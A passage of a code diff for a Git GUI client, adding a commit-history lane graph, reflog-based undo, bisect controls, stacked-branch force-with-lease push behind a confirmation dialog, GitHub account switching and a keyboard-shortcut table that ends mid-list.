h.query, verifySignatures: store.get().settings?.historyVerifySignatures ?? false }); + // Later pages keep the order the list was started with; only a reset re-reads the setting and the filter state. + const graph = reset ? (store.get().settings?.historyGraph ?? false) && !historyFilterActive(h) && !h.path : h.graph; + const page = await invoke('repo.history', repo.path, { ref: null, skip, limit: HISTORY_PAGE, path: h.path, search: h.freeText.trim() || null, follow: !!h.path, query: isEmptyHistoryQuery(h.query) ? null : h.query, verifySignatures: store.get().settings?.historyVerifySignatures ?? false, graph }); if (store.get().currentRepo?.path !== repo.path) return; const commits = reset ? page.commits : [...h.commits, ...page.commits]; const stillSelected = store.get().history.selectedShas.filter((sha) => commits.some((c) => c.sha === sha)); - patchHistory({ commits, hasMore: page.hasMore, loading: false, slowSearch: false, error: null, selectedShas: stillSelected, details: stillSelected.length === 1 ? store.get().history.details : null, stale: store.get().history.stale && !(reset && h.stale) }); + patchHistory({ commits, graph, hasMore: page.hasMore, loading: false, slowSearch: false, error: null, selectedShas: stillSelected, details: stillSelected.length === 1 ? store.get().history.details : null, stale: store.get().history.stale && !(reset && h.stale) }); if (store.get().view === 'history' && stillSelected.length === 0 && commits.length) selectCommit(commits[0].sha); else if (stillSelected.length === 1 && reset) void loadCommitDetails(stillSelected[0]); } catch (err) { @@ -1339,8 +1353,8 @@ export async function prefillCommitTemplate(): Promise { if (template && store.get().currentRepo?.path === repo.path && idle()) patchChanges({ summary: template.summary, description: template.description }); } -/** Machine-local per-repository prefs: pin, custom group, commit sign-off. */ -export async function setRepoPrefs(repo: RepositoryInfo, prefs: Pick): Promise { +/** Machine-local per-repository prefs: pin, custom group, commit sign-off, GitHub account. */ +export async function setRepoPrefs(repo: RepositoryInfo, prefs: RepoPrefs): Promise { try { await invoke('repos.setPrefs', repo.id, prefs); } catch (err) { @@ -1643,17 +1657,38 @@ export async function mergeBranch(branch: string, squash: boolean): Promise { +export async function rebaseOnto(branch: string, updateRefs = false): Promise { const repo = store.get().currentRepo; if (!repo) return; closeAllDialogs(); - const outcome = await runOperation('Rebase', () => invoke('git.rebase', repo.path, branch)); + const outcome = await runOperation('Rebase', () => invoke('git.rebase', repo.path, branch, updateRefs)); if (outcome?.status === 'complete') { showToast({ kind: 'success', title: `Rebased onto ${branch}` }); await loadHistory(true); } else reportOutcome(outcome, 'Rebase'); } +/** Force-pushes (with lease) the current branch and the branches stacked below it, after confirming the list. */ +export function pushStack(): void { + const s = store.get(); + const repo = s.currentRepo; + const current = s.status?.branch.name; + if (!repo || !current || !s.stack.parents.length) return; + const branches = [...s.stack.parents, current]; + openDialog({ + kind: 'confirm', + title: 'Push stack?', + message: `Force-push (with lease) ${branches.length} branches, overwriting their remote versions:\n\n${branches.join('\n')}`, + confirmLabel: 'Push stack', + danger: true, + onConfirm: async () => { + const pushed = await runOperation('Push stack', () => invoke('git.pushStack', repo.path)); + if (pushed) showToast({ kind: 'success', title: `Pushed ${pushed.length} stacked branches` }); + void loadCurrentPullRequest(true); + }, + }); +} + export async function updateFromDefaultBranch(): Promise { const repo = store.get().currentRepo; if (!repo) return; @@ -2587,15 +2622,25 @@ export async function cancelSignIn(): Promise { store.set({ login: { inProgress: false, code: null, url: null, error: null } }); } -export async function signOut(host: string): Promise { +export async function signOut(host: string, login?: string): Promise { try { - await invoke('gh.auth.logout', host); + await invoke('gh.auth.logout', host, login); await refreshTools(); } catch (err) { showError('Sign out failed', err); } } +/** Makes `login` the account GitHub calls use by default on `host`; repositories with their own account are unaffected. */ +export async function switchAccount(host: string, login: string): Promise { + try { + await invoke('gh.auth.switch', host, login); + await refreshTools(); + } catch (err) { + showError('Could not switch account', err); + } +} + // --------------------------------------------------------------------------- // Settings // --------------------------------------------------------------------------- @@ -2606,6 +2651,7 @@ export async function updateSettings(patch: Partial): Promise store.set({ settings }); applyTheme(settings, store.get().dark); if (patch.diffHideWhitespace !== undefined) void loadDiff(true); + if (patch.historyGraph !== undefined) void loadHistory(true); if (patch.blameIgnoreWhitespace !== undefined && store.get().diff.blameOn) void loadDiff(true); } catch (err) { showError('Could not save settings', err); @@ -2949,6 +2995,12 @@ export async function handleMenuAction(action: string, args?: unknown): Promise< case 'show-health': if (needsRepo()) return openHealth(); return; + case 'show-reflog': + if (needsRepo()) openDialog({ kind: 'reflog' }); + return; + case 'undo-last-operation': + if (needsRepo()) return undoLastOperation(); + return; case 'show-repository-list': return store.set((st) => ({ popover: st.popover === 'repos' ? null : 'repos' })); case 'show-branches-list': @@ -2964,6 +3016,8 @@ export async function handleMenuAction(action: string, args?: unknown): Promise< return updateSettings({ diffHideWhitespace: !s.settings?.diffHideWhitespace }); case 'toggle-blame': return toggleBlame(); + case 'toggle-history-graph': + return updateSettings({ historyGraph: !s.settings?.historyGraph }); case 'zoom-in': case 'zoom-out': case 'zoom-reset': diff --git a/src/renderer/src/state/reflog.ts b/src/renderer/src/state/reflog.ts new file mode 100644 index 0000000..d366344 --- /dev/null +++ b/src/renderer/src/state/reflog.ts @@ -0,0 +1,122 @@ +import type { Branch } from '@shared/types'; +import { shortSha } from '@shared/util'; +import { errorInfo, invoke } from '../api'; +import { checkoutBranch, checkoutCommit, loadHistory, refreshAll, runOperation, selectCommit, setView, showError } from './actions'; +import { closeAllDialogs, openDialog, showToast, store } from './store'; + +// --------------------------------------------------------------------------- +// Undo history (reflog) +// --------------------------------------------------------------------------- + +/** + * Confirms, then moves the current branch (or detached HEAD) to `sha` with `reset --keep`. When git refuses because + * uncommitted changes overlap files that differ, offers to stash them and retry. + */ +export function restoreBranchTo(sha: string, what: string, opts: { title?: string; intro?: string } = {}): void { + const { currentRepo: repo, status } = store.get(); + if (!repo || !status) return; + const head = status.branch; + const subject = head.detached || !head.name ? 'The detached HEAD' : `Branch ${head.name}`; + const run = async (stashFirst: boolean): Promise => { + try { + await invoke('git.resetKeep', repo.path, sha, stashFirst); + closeAllDialogs(); + await refreshAll(); + await loadHistory(true); + showToast({ kind: 'success', title: `Restored to ${shortSha(sha)}`, message: what, action: { label: 'Undo history', onClick: () => openDialog({ kind: 'reflog' }) } }, 10000); + } catch (err) { + if (!stashFirst && errorInfo(err).code === 'local-changes-overwritten') { + openDialog({ + kind: 'confirm', + title: 'Stash your changes first?', + message: 'Some uncommitted changes touch files that differ at that point, so they cannot be kept in place. Stash them (untracked files included) and restore? Pop the stash afterwards to get them back.', + confirmLabel: 'Stash and restore', + onConfirm: () => run(true), + }); + } else { + showError('Could not restore', err); + } + } + }; + openDialog({ + kind: 'confirm', + title: opts.title ?? 'Restore to this point?', + message: `${opts.intro ? `${opts.intro}\n\n` : ''}${subject} will move from ${shortSha(head.sha ?? '')} back to ${shortSha(sha)} (${what}).\n\nCommits made after that point leave it and the files return to how they were then; they stay recoverable from Undo history for a while. Uncommitted changes are kept.`, + confirmLabel: 'Restore', + danger: true, + onConfirm: () => run(false), + }); +} + +/** "Undo last Git operation": resets to the state before the newest HEAD-moving reflog entry, or offers to switch back after a checkout. */ +export async function undoLastOperation(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + let plan; + try { + plan = await invoke('repo.undoPlan', repo.path); + } catch (err) { + showError('Could not read the reflog', err); + return; + } + if (!plan) { + showToast({ kind: 'info', title: 'Nothing to undo' }); + } else if (plan.kind === 'reset') { + restoreBranchTo(plan.target.sha, `${plan.target.action}${plan.target.message ? `: ${plan.target.message}` : ''}`, { title: 'Undo last Git operation?', intro: `Last operation: ${plan.description}.` }); + } else if (!plan.isBranch) { + await checkoutCommit(plan.ref); + } else { + const ref = plan.ref; + const branch: Branch | undefined = store.get().branches.find((b) => b.kind === 'local' && b.name === ref); + if (!branch) { + showToast({ kind: 'warning', title: 'Cannot switch back', message: `Branch ${ref} no longer exists.` }); + return; + } + openDialog({ + kind: 'confirm', + title: 'Undo last Git operation?', + message: `Last operation: ${plan.description}.\n\nSwitch back to branch ${ref}?`, + confirmLabel: 'Switch back', + onConfirm: () => checkoutBranch(branch), + }); + } +} + +// --------------------------------------------------------------------------- +// Bisect +// --------------------------------------------------------------------------- + +export async function startBisect(bad: string, good: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const started = await runOperation('Starting bisect', async () => { + await invoke('git.bisect.start', repo.path, bad, good); + return true; + }); + if (started) closeAllDialogs(); +} + +/** Marks `sha` (null: the commit currently checked out) as good, bad or skipped. */ +export async function markBisect(verb: 'good' | 'bad' | 'skip', sha: string | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await runOperation(`Bisect: ${verb}`, () => invoke('git.bisect.mark', repo.path, verb, sha)); +} + +export async function resetBisect(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await runOperation('Ending bisect', () => invoke('git.bisect.reset', repo.path)); + await loadHistory(true); +} + +/** History context menu "mark good": the bad end defaults to HEAD. "Mark bad" has no sensible default, so it asks for the good end. */ +export function startBisectFrom(sha: string, label: string, as: 'good' | 'bad'): void { + if (as === 'good') void startBisect('HEAD', sha); + else openDialog({ kind: 'bisect-start', bad: sha, badLabel: label }); +} + +export function openBisectResult(sha: string): void { + setView('history'); + selectCommit(sha); +} diff --git a/src/renderer/src/state/store.ts b/src/renderer/src/state/store.ts index 6b85bda..f027e3e 100644 --- a/src/renderer/src/state/store.ts +++ b/src/renderer/src/state/store.ts @@ -2,6 +2,7 @@ import { useSyncExternalStore } from 'react'; import type { AiResolveProgressEvent, AiReviewProgressEvent, AppSettings, BlameResult, Branch, Commit, CommitDetails, CommitFile, ConflictResolutionResult, ErrorExplanation, ExplainFollowUp, ExplainTarget, Explanation, FileDiff, GitErrorInfo, HistoryQuery, InboxState, LfsStatus, NlPlan, NlStep, PathHistoryEntry, PostResolveCheckResult, PrTriage, ProgressEvent, PullRequest, RebaseApplyProgress, RebasePlan, RebasePreflight, Remote, RepositoryInfo, RepositoryStatus, RepoWork, ReviewPlan, ReviewRun, ReviewRunTarget, ReviewTarget, SplitApplyProgress, SplitPlan, SplitPreflight, Stash, StaleBranch, Submodule, Tag, ToolsState, UpdateState, WorktreeReviewTarget, Worktree } from '@shared/types'; import { aiEnabled } from '@shared/ai-model'; import { EMPTY_HISTORY_QUERY } from '@shared/types'; +import type { BranchStack } from '@shared/types'; /** A `ReviewRun` known to target a pull request or a branch (never the pre-commit `worktree` target), which is all `ai.review.start`/`ai.review.get` for a `ReviewTarget` ever produce. */ export type PrReviewRun = ReviewRun & { target: Exclude }; @@ -14,7 +15,7 @@ export type View = 'changes' | 'history' | 'stashes' | 'health'; export type PhonePane = 'list' | 'detail' | 'file'; export type Popover = 'repos' | 'branches' | 'history-filter' | null; export type SettingsTab = 'accounts' | 'integrations' | 'git' | 'appearance' | 'prompts' | 'ai' | 'advanced'; -export type RepoSettingsTab = 'remote' | 'ignored' | 'identity' | 'alias'; +export type RepoSettingsTab = 'remote' | 'ignored' | 'identity' | 'account' | 'alias'; export interface Toast { id: number; @@ -80,6 +81,8 @@ export type DialogState = | { kind: 'release-notes'; fromTag: string | null } | { kind: 'split-plan' } | { kind: 'tidy-branch' } + | { kind: 'reflog' } + | { kind: 'bisect-start'; bad: string; badLabel: string } | { kind: 'trust-repo-check'; repoPath: string; command: string; onDecision: (trusted: boolean) => void } | { kind: 'resolution-popover'; path: string; blockId: number } | { kind: 'command-palette' }; @@ -121,6 +124,8 @@ export interface HistoryState { queryError: string | null; /** True once the current search has been loading for more than 5s (suggests narrowing with `path:`). */ slowSearch: boolean; + /** The loaded commits were listed in graph (`--date-order`) order, so the lane graph can be drawn: set from the `historyGraph` setting when the list was last (re)loaded, and only while no filter/path narrows it. */ + graph: boolean; selectedShas: string[]; details: CommitDetails | null; detailsLoading: boolean; @@ -415,6 +420,8 @@ export interface AppState { statusLoading: boolean; branches: Branch[]; defaultBranch: string | null; + /** The current branch's stack of branches below it (see getStackParents). */ + stack: BranchStack; stashes: Stash[]; tags: Tag[]; remotes: Remote[]; @@ -496,7 +503,7 @@ export const initialChanges: ChangesState = { export const initialStashesView: StashesViewState = { loading: false, selectedSha: null, files: [], filesLoading: false, selectedFile: null }; -export const initialHistory: HistoryState = { commits: [], hasMore: false, loading: false, search: '', query: EMPTY_HISTORY_QUERY, freeText: '', queryError: null, slowSearch: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null, matchingFiles: null, dragging: null, path: null, pathHistory: null, error: null, detailsError: null, stale: false }; +export const initialHistory: HistoryState = { commits: [], hasMore: false, loading: false, search: '', query: EMPTY_HISTORY_QUERY, freeText: '', queryError: null, slowSearch: false, graph: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null, matchingFiles: null, dragging: null, path: null, pathHistory: null, error: null, detailsError: null, stale: false }; export const initialDiff: DiffState = { key: null, diff: null, loading: false, error: null, selectedLines: null, blameOn: false, blame: null, blameLoading: false, activeBlameId: null, highlightTerm: null, revealLine: null }; @@ -511,6 +518,7 @@ const initialState: AppState = { statusLoading: false, branches: [], defaultBranch: null, + stack: { parents: [], canUpdateRefs: false }, stashes: [], tags: [], remotes: [], diff --git a/src/renderer/src/styles/components.css b/src/renderer/src/styles/components.css index 604d3f2..298420f 100644 --- a/src/renderer/src/styles/components.css +++ b/src/renderer/src/styles/components.css @@ -796,6 +796,27 @@ .commit-row:active .commit-drag-handle { cursor: grabbing; } +/* Commit graph gutter (HistoryTab GraphGutter): one fixed-height svg per row, bled over the row's vertical padding so lines join between rows. Hidden on phone layouts, where rows grow. */ +.commit-row .commit-graph { + flex: none; + margin: -6px 0 -6px -4px; + overflow: visible; + fill: none; + stroke-width: 2; + stroke-linecap: round; +} +.commit-graph .graph-c0 { stroke: #2f81f7; color: #2f81f7; } +.commit-graph .graph-c1 { stroke: #d1672e; color: #d1672e; } +.commit-graph .graph-c2 { stroke: #2da44e; color: #2da44e; } +.commit-graph .graph-c3 { stroke: #a371f7; color: #a371f7; } +.commit-graph .graph-c4 { stroke: #d4a72c; color: #d4a72c; } +.commit-graph .graph-c5 { stroke: #e5534b; color: #e5534b; } +.commit-graph .graph-c6 { stroke: #1b9aaa; color: #1b9aaa; } +.commit-graph .graph-c7 { stroke: #bf4b8a; color: #bf4b8a; } +.commit-graph circle[class] { + fill: currentColor; + stroke: none; +} .commit-row .unpushed { color: var(--fg-muted); } @@ -1461,6 +1482,9 @@ .commit-row .commit-drag-handle { display: none; } + .commit-row .commit-graph { + display: none; + } .commit-summary { padding: 12px 14px; diff --git a/src/server/index.ts b/src/server/index.ts index 2e445d4..928e9b3 100644 --- a/src/server/index.ts +++ b/src/server/index.ts @@ -190,6 +190,7 @@ async function main(): Promise { const git = new GitClient(tools); const gh = new GhClient(tools); const bus = new EventBus(); + tools.onChange((state) => bus.emit('tools.changed', state)); const host = new WebHost(config.version, config.userData); const busy = new Set(); @@ -414,7 +415,6 @@ async function main(): Promise { watchedFolders.watchSettings(); void tools.refresh().then((state) => { log.info(`git: ${state.git.version ?? 'missing'}; gh: ${state.gh.version ?? 'missing'}; account: ${state.ghAccount?.login ?? 'none'}`); - bus.emit('tools.changed', state); if (store.getSettings().watchedFolders.length) void watchedFolders.scan().catch((err) => log.error('Watched-folder scan failed', err)); }); diff --git a/src/server/limits.ts b/src/server/limits.ts index 7d111df..8555ea1 100644 --- a/src/server/limits.ts +++ b/src/server/limits.ts @@ -13,7 +13,7 @@ export function isMutating(method: string): boolean { * minutes (network, AI reviews/triage): holding the repository lock through * them would stall every commit or stage on that repository meanwhile. */ -const LONG_READ_ONLY = /^(git\.(fetch|push)|ai\.review\.(start|startWorktree|post)|ai\.triage\.run)$/; +const LONG_READ_ONLY = /^(git\.(fetch|push|pushStack)|ai\.review\.(start|startWorktree|post)|ai\.triage\.run)$/; /** Whether a mutation must hold its repository's lock (`KeyedMutex`). */ export function locksRepo(method: string): boolean { diff --git a/src/server/web-host.ts b/src/server/web-host.ts index 69e205d..5c0bf82 100644 --- a/src/server/web-host.ts +++ b/src/server/web-host.ts @@ -84,4 +84,12 @@ export class WebHost implements HostCapabilities { // Zoom is native to the browser in web mode. return 0; } + + async openWindow(): Promise { + throw new UnsupportedCapabilityError('openWindow'); + } + + setMenuShortcuts(): void { + // No application menu in web mode: the page handles its own shortcuts. + } } diff --git a/src/shared/graph.ts b/src/shared/graph.ts new file mode 100644 index 0000000..b29e50a --- /dev/null +++ b/src/shared/graph.ts @@ -0,0 +1,117 @@ +import type { Commit } from './types'; + +/** + * Commit-graph lane layout for the History list. + * + * Commits arrive newest-first in a topological order (`git log --date-order`: + * a parent is never listed before all its children). Each lane waits for one + * commit sha; a row is drawn in the lane that was waiting for it (or a fresh + * lane for a branch tip) and hands its lane on to its first parent, while + * extra (merge) parents get their own lanes. The state carried between rows + * is just the list of lanes, so a later page continues where the previous one + * stopped — O(lanes) per commit. + * + * Geometry of a row (each row is one fixed-height slot, node at mid-height): + * - `up`: from the top edge at lane `from` to the node at lane `to` + * - `down`: from the node at lane `from` to the bottom edge at lane `to` + * - `through`: a lane passing straight across the row (from === to) + */ +export type GraphSegment = { kind: 'up' | 'down' | 'through'; from: number; to: number; color: number }; + +export interface GraphRow { + /** Lane the commit's node sits in. */ + column: number; + segments: GraphSegment[]; + color: number; +} + +/** Color indexes cycle through this many hues. */ +export const GRAPH_COLORS = 8; + +interface LaneState { + /** Sha each lane is waiting for; null marks a free lane. */ + ids: (string | null)[]; + colors: number[]; + /** Next color index to hand to a new lane. */ + next: number; +} + +export interface Graph { + rows: GraphRow[]; + /** Widest row, in lanes (max lane index + 1 over every row computed so far). */ + width: number; + firstSha: string; + lastSha: string; + state: LaneState; +} + +type GraphCommit = Pick; + +function step(st: LaneState, { sha, parents }: GraphCommit): { row: GraphRow; width: number } { + const { ids, colors } = st; + const segments: GraphSegment[] = []; + let width = ids.length; + let column = ids.indexOf(sha); + let color: number; + if (column < 0) { + column = ids.indexOf(null); + if (column < 0) column = ids.length; + color = st.next++ % GRAPH_COLORS; + } else { + color = colors[column]; + } + width = Math.max(width, column + 1); + for (let i = 0; i < ids.length; i++) { + if (ids[i] === null) continue; + if (ids[i] === sha) { + segments.push({ kind: 'up', from: i, to: column, color: colors[i] }); + ids[i] = null; + } else { + segments.push({ kind: 'through', from: i, to: i, color: colors[i] }); + } + } + parents.forEach((p, k) => { + let lane = ids.indexOf(p); + let segColor = color; + if (lane >= 0) { + // Already expected further down by another child: join that lane. A merge-in takes the joined lane's color. + if (k > 0) segColor = colors[lane]; + } else if (k === 0) { + lane = column; + ids[lane] = p; + colors[lane] = color; + } else { + lane = ids.indexOf(null); + if (lane < 0) lane = ids.length; + ids[lane] = p; + colors[lane] = segColor = st.next++ % GRAPH_COLORS; + } + width = Math.max(width, lane + 1); + segments.push({ kind: 'down', from: column, to: lane, color: segColor }); + }); + while (ids.length && ids[ids.length - 1] === null) ids.pop(); + colors.length = ids.length; + return { row: { column, segments, color }, width }; +} + +/** + * Lays out `commits` (the full loaded list, newest first), reusing `prev` when + * it covers a prefix of the same list — a new page then costs only its own + * commits. A list that no longer starts the same way is recomputed from + * scratch. `prev` is never mutated. + */ +export function extendGraph(prev: Graph | null, commits: readonly GraphCommit[]): Graph { + const done = prev ? prev.rows.length : 0; + const reusable = !!prev && done > 0 && done <= commits.length && commits[0].sha === prev.firstSha && commits[done - 1].sha === prev.lastSha; + if (reusable && done === commits.length) return prev!; + const base = reusable ? prev! : null; + const state: LaneState = base ? { ids: [...base.state.ids], colors: [...base.state.colors], next: base.state.next } : { ids: [], colors: [], next: 0 }; + const rows = base ? base.rows.slice() : []; + let width = base ? base.width : 0; + for (let i = base ? done : 0; i < commits.length; i++) { + const r = step(state, commits[i]); + rows.push(r.row); + if (r.width > width) width = r.width; + } + return { rows, width, firstSha: commits.length ? commits[0].sha : '', lastSha: commits.length ? commits[commits.length - 1].sha : '', state }; +} diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts index 060d5b8..0d55a59 100644 --- a/src/shared/ipc.ts +++ b/src/shared/ipc.ts @@ -6,6 +6,8 @@ import type { AppInfo, AppSettings, Branch, + BisectState, + BranchStack, BlameHunk, BlameResult, CheckRun, @@ -84,8 +86,10 @@ import type { ReleaseRangeQuery, ReleaseRangeResult, Remote, + ReflogEntry, RepositoryChangedEvent, RepositoryInfo, + RepoPrefs, RepositoryScanProgress, RepositoryScanResult, PortableIntegrations, @@ -108,6 +112,7 @@ import type { Submodule, SubmoduleState, Tag, + UndoPlan, ToolsState, UncommittedChangesStrategy, AiResolveProgressEvent, @@ -154,6 +159,8 @@ export interface HistoryOptions { query?: HistoryQuery | null; /** Adds signature placeholders to the log format and populates Commit.signature. Slower on large histories; default false. */ verifySignatures?: boolean; + /** Lists commits in `--date-order` (never a parent before all its children) so the History graph's lanes can be computed incrementally. Only the unfiltered listing needs it; ignored for searches. */ + graph?: boolean; } export type OperationOutcome = { status: 'complete' | 'conflicts' | 'up-to-date' | 'nothing' }; @@ -191,13 +198,20 @@ export interface ApiMethods { 'app.joinPath': (...parts: string[]) => Promise; 'app.log': (level: 'info' | 'warn' | 'error', message: string) => Promise; 'app.zoom': (direction: 'in' | 'out' | 'reset') => Promise; + /** Desktop only: rebuilds the application menu with these shortcut overrides (a no-op in the browser, which has no menu). */ + 'app.setShortcuts': (overrides: AppSettings['shortcuts']) => Promise; + /** Desktop only: opens another window showing repository `repoId` (a blank window when null). */ + 'app.newWindow': (repoId: string | null) => Promise; 'app.notify': (title: string, body: string) => Promise; 'app.moveToTrash': (path: string) => Promise; 'gh.auth.status': () => Promise; 'gh.auth.login': (host: string) => Promise<{ ok: boolean; error: string | null }>; 'gh.auth.cancelLogin': () => Promise; - 'gh.auth.logout': (host: string) => Promise; + /** Signs out one account (`login`), or the host's active account when omitted. */ + 'gh.auth.logout': (host: string, login?: string) => Promise; + /** Makes `login` the account gh uses by default on `host`. */ + 'gh.auth.switch': (host: string, login: string) => Promise; 'gh.auth.setupGit': () => Promise; /** Requests additional OAuth scopes through the device-flow sign-in (reuses the Sign-in dialog's code UI); used to grant the `notifications` scope from the Inbox panel. */ 'gh.auth.refreshScopes': (scopes: string[]) => Promise<{ ok: boolean; error: string | null }>; @@ -254,8 +268,8 @@ export interface ApiMethods { 'repos.setAlias': (id: string, alias: string | null) => Promise; /** Machine-local "Disable AI for this repository" toggle; every `ai.*` call for the repository is then refused in main. */ 'repos.setAiDisabled': (id: string, disabled: boolean) => Promise; - /** Machine-local per-repository prefs (pin, custom group, commit sign-off); only the fields given are changed. */ - 'repos.setPrefs': (id: string, prefs: Pick) => Promise; + /** Machine-local per-repository prefs (pin, custom group, commit sign-off, GitHub account); only the fields given are changed. */ + 'repos.setPrefs': (id: string, prefs: RepoPrefs) => Promise; 'repos.refreshIndicators': () => Promise; /** Scans every watched folder; resolves with `alreadyRunning` when one is in flight. */ @@ -276,6 +290,7 @@ export interface ApiMethods { 'repo.status': (repoPath: string) => Promise; 'repo.branches': (repoPath: string) => Promise; 'repo.defaultBranch': (repoPath: string) => Promise; + 'repo.stack': (repoPath: string) => Promise; 'repo.tags': (repoPath: string) => Promise; 'repo.remotes': (repoPath: string) => Promise; 'repo.stashes': (repoPath: string) => Promise; @@ -292,6 +307,12 @@ export interface ApiMethods { 'repo.commitTemplate': (repoPath: string) => Promise<{ summary: string; description: string } | null>; 'repo.stash.files': (repoPath: string, stashRef: string) => Promise; 'repo.stash.resolveRef': (repoPath: string, sha: string) => Promise; + /** HEAD's reflog, newest first (the "Undo history" dialog). */ + 'repo.reflog': (repoPath: string) => Promise; + /** What "Undo last Git operation" would do, or null when there is nothing to undo. */ + 'repo.undoPlan': (repoPath: string) => Promise; + /** The running bisect, or null. */ + 'repo.bisect': (repoPath: string) => Promise; 'repo.compare': (repoPath: string, base: string, head: string) => Promise<{ ahead: Commit[]; behind: Commit[] }>; 'repo.readFile': (repoPath: string, path: string) => Promise; 'repo.writeFile': (repoPath: string, path: string, content: string) => Promise; @@ -343,7 +364,10 @@ export interface ApiMethods { 'git.merge': (repoPath: string, branch: string, squash: boolean) => Promise; 'git.merge.abort': (repoPath: string) => Promise; 'git.merge.continue': (repoPath: string) => Promise; - 'git.rebase': (repoPath: string, onto: string) => Promise; + /** `updateRefs` adds `--update-refs`: branches stacked on the current one move along with it. */ + 'git.rebase': (repoPath: string, onto: string, updateRefs?: boolean) => Promise; + /** Force-pushes (with lease) the current branch and the stack below it; resolves with the pushed branch names. */ + 'git.pushStack': (repoPath: string) => Promise; /** `unsigned` retries the paused step with `-c commit.gpgsign=false`, for the "Commit unsigned this time" recovery from a signing-failed dialog. Never persists a config change. */ 'git.rebase.continue': (repoPath: string, unsigned?: boolean) => Promise; 'git.rebase.skip': (repoPath: string) => Promise; @@ -388,6 +412,12 @@ export interface ApiMethods { 'git.remote.prune': (repoPath: string, remote: string) => Promise; 'git.gc': (repoPath: string, aggressive: boolean) => Promise; 'git.reflog.expire': (repoPath: string) => Promise; + /** `git reset --keep `; `stashFirst` stashes local changes (untracked included) beforehand. Throws `local-changes-overwritten` when git refuses to keep them. */ + 'git.resetKeep': (repoPath: string, sha: string, stashFirst: boolean) => Promise; + 'git.bisect.start': (repoPath: string, bad: string, good: string) => Promise; + /** `sha` null marks the commit currently checked out for testing. */ + 'git.bisect.mark': (repoPath: string, verb: 'good' | 'bad' | 'skip', sha: string | null) => Promise; + 'git.bisect.reset': (repoPath: string) => Promise; 'app.operations.cancel': (id: string) => Promise; /** `checkOutput`, when given, is the single allowed "Ask AI to fix" retry after a failed post-resolution check; `original` is the failed run's true pre-resolution conflicted content, since the file on disk no longer has markers at retry time. */ diff --git a/src/shared/shortcuts.ts b/src/shared/shortcuts.ts new file mode 100644 index 0000000..9475337 --- /dev/null +++ b/src/shared/shortcuts.ts @@ -0,0 +1,271 @@ +/** + * Keyboard shortcuts: the one list of actions and their default accelerators + * (Electron accelerator syntax, `CmdOrCtrl` = Cmd on macOS / Ctrl elsewhere), + * the merge with the user's overrides (`AppSettings.shortcuts`), conflict + * detection, and the KeyboardEvent <-> accelerator conversions. The native menu + * (src/main/menu.ts) and the renderer-handled shortcuts both read from here, so + * a rebinding applies to both. Pure: no Electron, DOM or Node imports. + */ + +export type ShortcutCategory = 'Navigation' | 'Editing' | 'AI' | 'Git ops' | 'View'; +export const SHORTCUT_CATEGORIES: readonly ShortcutCategory[] = ['Navigation', 'Editing', 'AI', 'Git ops', 'View']; + +/** `id` is the menu action id (`handleMenuAction`), except `commit`, which only the renderer handles. */ +export interface ShortcutDef { + id: string; + label: string; + category: ShortcutCategory; + accelerator: string; +} + +/** Overrides keyed by action id: an accelerator replaces the default, `null` unbinds. Absent = default. */ +export type ShortcutOverrides = Record; +export type ShortcutMap = Record; + +export const SHORTCUTS: readonly ShortcutDef[] = [ + { id: 'new-repository', label: 'New repository', category: 'Git ops', accelerator: 'CmdOrCtrl+N' }, + { id: 'add-local-repository', label: 'Add local repository', category: 'Git ops', accelerator: 'CmdOrCtrl+O' }, + { id: 'clone-repository', label: 'Clone repository', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+O' }, + { id: 'remove-repository', label: 'Remove repository', category: 'Git ops', accelerator: 'CmdOrCtrl+Delete' }, + { id: 'settings', label: 'Options', category: 'View', accelerator: 'CmdOrCtrl+,' }, + { id: 'keyboard-shortcuts', label: 'Keyboard shortcuts', category: 'View', accelerator: 'CmdOrCtrl+/' }, + { id: 'command-palette', label: 'Ask GitGood (command palette)', category: 'AI', accelerator: 'CmdOrCtrl+K' }, + { id: 'find', label: 'Find', category: 'Navigation', accelerator: 'CmdOrCtrl+F' }, + { id: 'show-changes', label: 'Show Changes', category: 'Navigation', accelerator: 'CmdOrCtrl+1' }, + { id: 'show-history', label: 'Show History', category: 'Navigation', accelerator: 'CmdOrCtrl+2' }, + { id: 'show-stashes', label: 'Show Stashes', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+S' }, + { id: 'show-worktrees', label: 'Worktrees', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+W' }, + { id: 'show-health', label: 'Repository health', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+K' }, + { id: 'show-issues', label: 'Issues', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+L' }, + { id: 'show-repository-list', label: 'Repository list', category: 'Navigation', accelerator: 'CmdOrCtrl+T' }, + { id: 'show-branches-list', label: 'Branch list', category: 'Navigation', accelerator: 'CmdOrCtrl+B' }, + { id: 'show-inbox', label: 'Notifications inbox', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+J' }, + { id: 'focus-commit-summary', label: 'Go to commit summary', category: 'Navigation', accelerator: 'CmdOrCtrl+G' }, + { id: 'search-history-selection', label: 'Search history for selection', category: 'Navigation', accelerator: 'CmdOrCtrl+Alt+F' }, + { id: 'open-in-shell', label: 'Open in terminal', category: 'Navigation', accelerator: 'Ctrl+`' }, + { id: 'show-in-folder', label: 'Show in folder', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+F' }, + { id: 'open-in-editor', label: 'Open in external editor', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+A' }, + { id: 'commit', label: 'Commit', category: 'Editing', accelerator: 'CmdOrCtrl+Enter' }, + { id: 'discard-all-changes', label: 'Discard all changes', category: 'Editing', accelerator: 'CmdOrCtrl+Shift+Backspace' }, + { id: 'toggle-split-diff', label: 'Toggle split diff', category: 'View', accelerator: 'CmdOrCtrl+Shift+D' }, + { id: 'toggle-blame', label: 'Toggle blame', category: 'View', accelerator: 'Alt+B' }, + { id: 'zoom-in', label: 'Zoom in', category: 'View', accelerator: 'CmdOrCtrl+=' }, + { id: 'zoom-out', label: 'Zoom out', category: 'View', accelerator: 'CmdOrCtrl+-' }, + { id: 'zoom-reset', label: 'Reset zoom', category: 'View', accelerator: 'CmdOrCtrl+0' }, + { id: 'push', label: 'Push', category: 'Git ops', accelerator: 'CmdOrCtrl+P' }, + { id: 'pull', 